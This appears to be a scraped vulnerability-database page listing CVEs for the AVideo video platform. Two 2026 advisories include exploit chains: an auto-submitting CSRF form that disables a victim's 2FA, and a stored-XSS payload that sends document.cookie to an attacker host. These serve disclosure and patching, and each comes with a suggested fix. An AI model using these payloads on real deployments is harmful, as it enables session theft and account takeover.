VYPR

Avideo

Sign in to watch

by WWBN

Source repositories

CVEs (188)

CVESevRiskCVSSEPSSKEVPublishedDescription
CVE-2023-308540.05—0.63Apr 28, 2023AVideo is an open source video platform. Prior to version 12.4, an OS Command Injection vulnerability in an authenticated endpoint `/plugin/CloneSite/cloneClient.json.php` allows attackers to achieve Remote Code Execution. This issue is fixed in version 12.4.
CVE-2022-325720.02—0.23Aug 22, 2022An os command injection vulnerability exists in the aVideoEncoder wget functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.
CVE-2022-305470.02—0.21Aug 22, 2022A directory traversal vulnerability exists in the unzipDirectory functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.
CVE-2026-334780.01—0.12Mar 23, 2026WWBN AVideo is an open source video platform. In versions up to and including 26.0, multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The `clones.json.php` endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via `cloneServer.json.php`. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in `cloneClient.json.php` to execute arbitrary system commands. Commit c85d076375fab095a14170df7ddb27058134d38c contains a patch.
CVE-2023-487280.01—0.17Jan 10, 2024A cross-site scripting (xss) vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.6 and dev master commit 3c6bb3ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.
CVE-2023-320730.01—0.17May 12, 2023WWBN AVideo is an open source video platform. In versions 12.4 and prior, a command injection vulnerability exists at `plugin/CloneSite/cloneClient.json.php` which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854, which affects WWBN AVideo up to version 12.3. This issue is patched in commit 1df4af01f80d56ff2c4c43b89d0bac151e7fb6e3.
CVE-2022-327720.01—0.08Aug 22, 2022A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "msg" parameter which is inserted into the document with insufficient sanitization.
CVE-2022-327710.01—0.10Aug 22, 2022A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "success" parameter which is inserted into the document with insufficient sanitization.
CVE-2022-327700.01—0.14Aug 22, 2022A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "toast" parameter which is inserted into the document with insufficient sanitization.
CVE-2022-306900.01—0.10Aug 22, 2022A cross-site scripting (xss) vulnerability exists in the image403 functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.
CVE-2022-305340.01—0.12Aug 22, 2022An OS command injection vulnerability exists in the aVideoEncoder chunkfile functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.
CVE-2022-268420.01—0.09Aug 22, 2022A reflected cross-site scripting (xss) vulnerability exists in the charts tab selection functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.
CVE-2026-456190.00——May 15, 2026CVE-2026-43884 fix `603e7bf` patched `EpgParser.php` and `plugin/AI/receiveAsync.json.php` to use `url_get_contents` (redirect-safe). Neither uses the `$resolvedIP` out-param of `isSSRFSafeURL()` for DNS pinning via `CURLOPT_RESOLVE`. Six+ other call sites still discard `$resolvedIP`, opening DNS-rebinding TOCTOU. Reference correct pattern at `plugin/YPTWallet/YPTWallet.php:1071-1098`: ```php $resolvedIP = null; if (isSSRFSafeURL($url, $resolvedIP)) { curl_setopt($ch, CURLOPT_RESOLVE, ["$h
CVE-2026-456100.00——May 15, 2026## Summary **Type:** Cross-site request forgery on the 2FA toggle. `plugin/LoginControl/set.json.php` accepts `POST type=set2FA value=false`, calls `LoginControl::setUser2FA(User::getId(), false)` on the session-authenticated user, and returns. There is no `forbidIfIsUntrustedRequest()` call, no `isTokenValid()` check, no `X-CSRF-Token`/`SameSite` enforcement, and no re-authentication step. A cross-origin page that the victim visits while logged into the AVideo dashboard issues the POST via a hidden form (or `fetch` without `credentials:"omit"`) and disables the victim's 2FA in one request. The next phishing/credential-stuffing attempt against that account no longer needs the second factor. **File:** `plugin/LoginControl/set.json.php`, lines 1-37. **Root cause:** the developer relied on the `User::isLogged()` check at line 9 as the only auth, then dispatched directly into `LoginControl::setUser2FA(User::getId(), $value=='true')`. Other AVideo state-changing endpoints in the same codebase (`videoUpdateUsage.json.php`, `videoStatus.json.php`, `videoRotate.json.php`, etc.) call `forbidIfIsUntrustedRequest('<name>')` to compare `Origin`/`Referer` against the AVideo domain; this endpoint simply omits the call. The session cookie carries the user's identity on every cross-origin POST, so any attacker page can speak for the logged-in user on this endpoint. ## Affected Code **File:** `plugin/LoginControl/set.json.php`, lines 1-37. ```php <?php require_once '../../videos/configuration.php'; _session_write_close(); header('Content-Type: application/json'); $obj = new stdClass(); $obj->error = true; $obj->msg = ""; if (!User::isLogged()) { $obj->msg = "Not logged"; die(json_encode($obj)); } if (empty($_POST['type'])) { $obj->msg = "Type is empty"; die(json_encode($obj)); } if (!isset($_POST['value'])) { $obj->msg = "value is empty"; die(json_encode($obj)); } $cu = AVideoPlugin::loadPluginIfEnabled('LoginControl'); if (empty($cu)) { $obj->msg = "Plugin not enabled"; die(json_encode($obj)); } $obj->error = false; switch ($_POST['type']) { case 'set2FA': LoginControl::setUser2FA(User::getId(), $_POST['value']=="true" ? true : false); // <-- BUG: no CSRF gate, no re-auth break; } die(json_encode($obj)); ``` **Why it's wrong:** disabling a victim's second factor is exactly the kind of state change the AVideo CSRF helper `forbidIfIsUntrustedRequest()` exists to protect. Compare with `objects/comments_like.json.php:18` (`forbidIfIsUntrustedRequest('comments_like')`) — comments-likes get CSRF protection, but the 2FA toggle does not. Beyond CSRF, security-sensitive toggles like 2FA-disable conventionally also require either the current 2FA code or a password re-prompt: a malicious browser extension, an XSS that lands in any AVideo subdomain, or a compromised tab can otherwise flip the bit silently. None of those mitigations exist here. ## Exploit Chain 1. Attacker hosts `https://attacker.example/avideo-2fa-off.html` containing: ```html <form id="f" action="https://avideo.example/plugin/LoginControl/set.json.php" method="POST"> <input type="hidden" name="type" value="set2FA"> <input type="hidden" name="value" value="false"> </form> <script>document.getElementById('f').submit();</script> ``` State: page is live and indexable. 2. Attacker delivers the page to a victim who is logged in to `avideo.example` (open redirect on a trusted partner, ad campaign, IM phishing link, encyclopedic-looking forum post). The victim's browser opens the page; the form auto-submits to AVideo. State: cross-origin POST hits `set.json.php` with the victim's session cookie attached (the cookie's `SameSite` attribute is set to `Lax`/`None` by AVideo's defaults so the cross-origin POST succeeds for top-level navigations). 3. `set.json.php:9` confirms `User::isLogged()` (true, victim's session is valid). Lines 13-19 see `type=set2FA`, `value=false`. Line 30-32 calls `LoginControl::setUser2FA(victim_user_id, false)` and persists the change. State: victim's 2FA is now disabled in `users.externalOptions.LoginControl.is2FAEnabled`. 4. Victim sees a generic "operation completed" JSON response in a redirected browser tab (or no visible feedback at all if the form lands in an `iframe`). State: victim notices nothing unusual. 5. Attacker (in a separate session) attempts credential stuffing or password-spray against `avideo.example/objects/login.json.php`. Without the second factor, any one of: a previously leaked password, a successful credential-stuffing match, or a spear-phishing-collected password completes the login. State: attacker holds full session for victim's account. 6. Final state: the second factor that the victim explicitly enabled was silently disabled across the wire by visiting an attacker-hosted page. The whole chain takes one HTTP POST and zero clicks beyond the initial visit. ## Security Impact **Severity:** sec-moderate. CVSS 6.5: network attack, low complexity, low privileges (the attacker themselves are unauthenticated; the victim must be a logged-in AVideo user; this is captured by `PR:L` because the action's effect requires the victim's session), user interaction required (visit attacker page), scope unchanged, no confidentiality directly, high integrity (the victim's 2FA configuration is silently corrupted), no availability claim. **Attacker capability:** with one cross-origin POST, the attacker turns a victim's 2FA-protected account into a plain password-only account. Combined with any password leak, credential-stuffing match, or successful phishing of the password, the account is fully compromised. The change is permanent until the victim notices and re-enables 2FA, and AVideo does not raise an audit-log event when 2FA is disabled (see `LoginControl::setUser2FA` — it simply writes the boolean), so detection is unlikely. **Preconditions:** AVideo deployment with the `LoginControl` plugin enabled (the plugin shipping the 2FA feature); the victim is logged in to AVideo at the moment they visit the attacker page; the AVideo session cookie does not have `SameSite=Strict` (the deployment default is `SameSite=Lax` per `objects/phpsessionid.json.php:53`, which still allows cross-origin top-level POSTs from a form auto-submit). **Differential:** source-inspection-verified. `set.json.php` does not contain `forbidIfIsUntrustedRequest`, `isTokenValid`, `verifyToken`, or any equivalent string; the entire body of the file is reproduced above. With the suggested fix below, the same cross-origin POST returns a 403 with `Invalid Request` and the `setUser2FA` call never fires. ## Suggested Fix Add the same CSRF gate every other state-changing endpoint in this codebase uses, and require the current 2FA code (or a password re-prompt) when the user is *disabling* the second factor. ```diff --- a/plugin/LoginControl/set.json.php +++ b/plugin/LoginControl/set.json.php @@ -9,6 +9,8 @@ if (!User::isLogged()) { $obj->msg = "Not logged"; die(json_encode($obj)); } +forbidIfIsUntrustedRequest('LoginControl-set'); + if (empty($_POST['type'])) { $obj->msg = "Type is empty"; die(json_encode($obj)); @@ -28,7 +30,15 @@ $obj->error = false; switch ($_POST['type']) { case 'set2FA': - LoginControl::setUser2FA(User::getId(), $_POST['value']=="true" ? true : false); + $newValue = ($_POST['value'] == 'true'); + // Require the current 2FA code (or a password re-prompt) when DISABLING 2FA; + // turning it on is fine, turning it off needs a step-up. + if (!$newValue && !LoginControl::confirmStepUpForCurrentUser($_POST['confirm'] ?? '')) { + $obj->error = true; + $obj->msg = __('Re-authentication required to disable 2FA'); + die(json_encode($obj)); + } + LoginControl::setUser2FA(User::getId(), $newValue); break; } ``` Defence-in-depth: the AVideo session cookie should be issued with `SameSite=Strict` for the management dashboard's first-party POSTs; the public read-only player can keep a separate `SameSite=Lax` cookie. Audit-log every 2FA-disable event with the source IP and user agent so an unexpected disable is visible to the operator.
CVE-2026-455800.00——May 15, 2026## Summary **Type:** Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw `echo`, without `htmlspecialchars()`. A `canStream` user can persist a key containing `"` plus an event handler via `plugin/Live/saveLive.php`, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin. **File:** `plugin/Live/view/modeYoutubeLive.php`, line 203. **Root cause:** the template builds a live-status hook by concatenating the database key into a class name: `class="title_liveKey_<?php echo $livet['key'] ?>"`. There is no escaping. The persistence path `plugin/Live/saveLive.php:30` accepts `$_REQUEST['key']` verbatim into `live_transmitions.key` (the auto-generation path uses `uniqid()`, but the manual save path lets the caller override it with anything). The `on_publish.php:117` sanitiser strips only `&` and `=`, not `"`, `<`, or `>`, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context. ## Affected Code **File:** `plugin/Live/view/modeYoutubeLive.php`, lines 195-209. ```php <i class="fas fa-lock"></i> <?php } else { ?> <i class="fas fa-video"></i> <?php } ?> <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span> <!-- BUG: $livet['key'] echoed raw into class attribute --> <small class="text-muted"> <?php echo $liveInfo['displayTime']; ?> </small> </h1> ``` `$livet['key']` is the raw stream key out of `live_transmitions`. The persistence path `plugin/Live/saveLive.php:30` is `$l->setKey($_REQUEST['key'])` (no allowlist), and `LiveTransmition::setKey()` (`Objects/LiveTransmition.php:110-112`) is a plain assignment. The DB column has no character-class enforcement (it is a `varchar`). `parent::save()` uses prepared SQL, so embedded `"`, `<`, `>`, `'` are stored verbatim and round-trip back to this template unchanged. **Why it's wrong:** an HTML attribute value must be escaped with `htmlspecialchars(..., ENT_QUOTES, 'UTF-8')` (or routed through a templating engine that does). The current `<?php echo $livet['key'] ?>` between `class="…"` and `"` lets the attacker close the attribute with `"`, append arbitrary attributes (`onclick`, `onmouseover`, `style`, `srcset`, …), or close the tag with `>` and inject a `<script>` block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (`menuRight.php`, `socket.js`) only use `key` inside JS contexts where they pre-strip `[&=]`, but `modeYoutubeLive.php` uses it directly in HTML attribute context where that strip is insufficient. ## Exploit Chain 1. Attacker registers (or already holds) an AVideo account with `canStream=1`. On installations with `advancedCustomUser.newUsersCanStream=1` this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated. 2. Attacker POSTs to `https://target/plugin/Live/saveLive.php`: ``` key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=" title=t&description=d&password=p ``` `saveLive.php:8` confirms `User::canStream()`, line 30 calls `$l->setKey($_REQUEST['key'])` and the row is persisted with the literal payload value. State: `live_transmitions.key` for this user contains the XSS payload. 3. Victim visits the attacker's live page, e.g. `https://target/plugin/Live/?u=<attacker-username>`. The page is rendered through `index.php` -> `view/modeYoutubeLive.php`. Line 203 executes: ```html <span class="title_liveKey_" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=""><span>STREAM TITLE</span></span> ``` State: a class attribute closed early, an `onmouseover` event handler attached, a stray `x=""` consumed, and the final closing `"` consumed by the next attribute. The HTML parses cleanly. 4. Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: `fetch('//attacker/x?c=' + document.cookie)` runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie). 5. Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (`onerror` on injected `<img>`, `onload` on injected `<svg>`, or simply `>` to close the `<span>` and inject a `<script>` block) the trigger does not require mouse-over. ## Security Impact **Severity:** sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability. **Attacker capability:** with one `canStream` account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the `target` origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from `live_transmitions`. **Preconditions:** AVideo deployment using the default `modeYoutubeLive.php` template (the YouTube-style live view, used by all standard skins); attacker has `canStream` rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page. **Differential:** source-inspection-verified. The vulnerable template `modeYoutubeLive.php:203` produces `<span class="title_liveKey_<UNESCAPED_KEY>">…</span>`. With the suggested patch (`htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8')` applied), the same input renders as `<span class="title_liveKey_&quot; onmouseover=&quot;…&quot; x=&quot;">…</span>`, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet: ```sh $ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".$livet["key"]."\">test</span>";' <span class="title_liveKey_" onmouseover="alert(1)" x="">test</span> # XSS attribute parses $ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".htmlspecialchars($livet["key"],ENT_QUOTES,"UTF-8")."\">test</span>";' <span class="title_liveKey_&quot; onmouseover=&quot;alert(1)&quot; x=&quot;">test</span> # one attribute, no handler ``` ## Suggested Fix Escape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after `replace(/[&=]/g, '')`, but they should be reviewed in the same patch). ```diff --- a/plugin/Live/view/modeYoutubeLive.php +++ b/plugin/Live/view/modeYoutubeLive.php @@ -200,7 +200,7 @@ } ?> - <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span> + <span class="title_liveKey_<?php echo htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') ?>"><?php echo getSEOTitle($liveTitle); ?></span> <small class="text-muted"> <?php echo $liveInfo['displayTime']; ``` Defence-in-depth: also enforce a character allowlist on `live_transmitions.key` at write time (the autogenerator emits `uniqid()` which is hex-only, so `^[A-Za-z0-9_-]{1,64}$` is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.
CVE-2026-337230.00—0.00Mar 23, 2026WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `Subscribe::save()` method in `objects/subscribe.php` concatenates the `$this->users_id` property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from `$_POST['user_id']` in both `subscribe.json.php` and `subscribeNotify.json.php`. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts. Commit 36dfae22059fbd66fd34bbc5568a838fc0efd66c contains a patch.
CVE-2026-337190.00—0.00Mar 23, 2026WWBN AVideo is an open source video platform. In versions up to and including 26.0, the CDN plugin endpoints `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php` use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the `par` request parameter. Commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contains a patch.
CVE-2026-337170.00—0.00Mar 23, 2026WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. Commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contains a patch.
CVE-2026-337160.00—0.00Mar 23, 2026WWBN AVideo is an open source video platform. In versions up to and including 26.0, the standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{"error": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence. Commit 388fcd57dbd16f6cb3ebcdf1d08cf2b929941128 contains a patch.
CVE-2026-336900.00—0.00Mar 23, 2026WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `getRealIpAddr()` function in `objects/functions.php` trusts user-controlled HTTP headers to determine the client's IP address. An attacker can spoof their IP address by sending forged headers, bypassing any IP-based access controls or audit logging. Commit 1a1df6a9377e5cc67d1d0ac8ef571f7abbffbc6c contains a patch.

Page 5 of 10